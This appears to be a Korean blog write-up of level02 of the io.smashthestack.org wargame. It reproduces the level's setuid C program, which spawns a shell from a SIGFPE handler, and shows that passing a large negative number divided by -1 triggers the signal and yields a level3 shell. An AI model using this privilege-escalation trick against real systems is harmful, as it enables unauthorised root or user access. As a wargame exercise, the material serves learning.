티스토리 뷰

//a little fun brought to you by bla
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>

void catcher(int a)
{
        setresuid(geteuid(),geteuid(),geteuid());
	printf("WIN!\n");
        system("/bin/sh");
        exit(0);
}

int main(int argc, char **argv)
{
	puts("source code is available in level02.c\n");

        if (argc != 3 || !atoi(argv[2]))
                return 1;
        signal(SIGFPE, catcher);
        return abs(atoi(argv[1])) / atoi(argv[2]);
}


SIGFPE는 int형 오류가 나면 발생하는 시그널임. 

음수를 -1로 나눈다거나 양수를 0으로 나눈다거나, 하지만 0이 되면 안되기에 음수를 -1로 나눠보자


level2@io:/levels$  ./level02 -122232333232320 -1

source code is available in level02.c


WIN!

sh-4.2$ whoami

level3


'Pwnable > io.smashthestack.org' 카테고리의 다른 글

[io.smashthestack.org] level06  (0) 2015.01.04
[io.smashthestack.org] level05  (0) 2015.01.04
[io.smashthestack.org] level04  (0) 2015.01.04
[io.smashthestack.org] level03  (0) 2015.01.04
[io.smashthestack.org] level01  (0) 2015.01.04
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함